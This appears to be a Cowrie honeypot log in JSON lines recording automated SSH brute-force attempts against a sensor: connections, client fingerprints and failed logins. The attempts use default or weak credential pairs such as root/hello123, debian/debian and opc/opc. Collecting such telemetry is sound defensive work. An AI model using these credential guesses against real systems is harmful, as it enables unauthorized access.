{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:19.649061Z","src_ip":"91.92.42.227","session":"13bc536f63f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"password","message":"login attempt [appuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:21.402358Z","src_ip":"91.92.42.227","session":"13bc536f63f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45352,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ace0d5fe6ba","protocol":"ssh","message":"New connection: 45.156.87.147:45352 (10.17.0.5:22) [session: 4ace0d5fe6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:22.933152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:22.937106Z","src_ip":"45.156.87.147","session":"4ace0d5fe6ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:23.019676Z","src_ip":"45.156.87.147","session":"4ace0d5fe6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:23.269566Z","src_ip":"45.156.87.147","session":"4ace0d5fe6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:23.303341Z","src_ip":"91.92.42.227","session":"13bc536f63f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:24.357523Z","src_ip":"45.156.87.147","session":"4ace0d5fe6ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56320,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f4eb66c7c05","protocol":"ssh","message":"New connection: 91.92.42.227:56320 (10.17.0.5:22) [session: 4f4eb66c7c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:25.531048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:26.042391Z","src_ip":"91.92.42.227","session":"4f4eb66c7c05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:26.045396Z","src_ip":"91.92.42.227","session":"4f4eb66c7c05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45362,"dst_ip":"10.17.0.5","dst_port":22,"session":"666c444c90e2","protocol":"ssh","message":"New connection: 45.156.87.147:45362 (10.17.0.5:22) [session: 666c444c90e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:29.014892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:29.019100Z","src_ip":"45.156.87.147","session":"666c444c90e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:29.101094Z","src_ip":"91.92.42.227","session":"4f4eb66c7c05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:29.104794Z","src_ip":"45.156.87.147","session":"666c444c90e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redhat","password":"redhat","message":"login attempt [redhat/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:29.366362Z","src_ip":"45.156.87.147","session":"666c444c90e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:30.459045Z","src_ip":"45.156.87.147","session":"666c444c90e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:30.681497Z","src_ip":"91.92.42.227","session":"4f4eb66c7c05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56404,"dst_ip":"10.17.0.5","dst_port":22,"session":"afb2656de3ea","protocol":"ssh","message":"New connection: 91.92.42.227:56404 (10.17.0.5:22) [session: afb2656de3ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:32.182580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:32.652399Z","src_ip":"91.92.42.227","session":"afb2656de3ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:32.655507Z","src_ip":"91.92.42.227","session":"afb2656de3ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57824,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a5a96382e67","protocol":"ssh","message":"New connection: 45.156.87.147:57824 (10.17.0.5:22) [session: 0a5a96382e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:35.243375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:35.246746Z","src_ip":"45.156.87.147","session":"0a5a96382e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:35.332044Z","src_ip":"45.156.87.147","session":"0a5a96382e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:35.538495Z","src_ip":"91.92.42.227","session":"afb2656de3ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:35.599819Z","src_ip":"45.156.87.147","session":"0a5a96382e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:36.684273Z","src_ip":"45.156.87.147","session":"0a5a96382e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:37.298407Z","src_ip":"91.92.42.227","session":"afb2656de3ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51990,"dst_ip":"10.17.0.5","dst_port":22,"session":"43541e6b09c1","protocol":"ssh","message":"New connection: 91.92.42.227:51990 (10.17.0.5:22) [session: 43541e6b09c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:38.334200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:39.000786Z","src_ip":"91.92.42.227","session":"43541e6b09c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:39.006023Z","src_ip":"91.92.42.227","session":"43541e6b09c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.46693754196167,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:39.218899Z","src_ip":"128.199.8.54","session":"fb2f195c67de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46944,"dst_ip":"10.17.0.5","dst_port":22,"session":"704e9b6f1a19","protocol":"ssh","message":"New connection: 45.156.87.147:46944 (10.17.0.5:22) [session: 704e9b6f1a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:41.888704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:41.894455Z","src_ip":"45.156.87.147","session":"704e9b6f1a19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:41.976502Z","src_ip":"45.156.87.147","session":"704e9b6f1a19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"pi","message":"login attempt [nexus/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:42.052533Z","src_ip":"91.92.42.227","session":"43541e6b09c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"user","message":"login attempt [username/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:42.229120Z","src_ip":"45.156.87.147","session":"704e9b6f1a19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:43.360463Z","src_ip":"45.156.87.147","session":"704e9b6f1a19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:43.495645Z","src_ip":"91.92.42.227","session":"43541e6b09c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":27306,"dst_ip":"10.17.0.5","dst_port":22,"session":"e62ca1a6762e","protocol":"ssh","message":"New connection: 38.93.206.2:27306 (10.17.0.5:22) [session: e62ca1a6762e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:45.518378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:14:45.522213Z","src_ip":"38.93.206.2","session":"e62ca1a6762e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","ae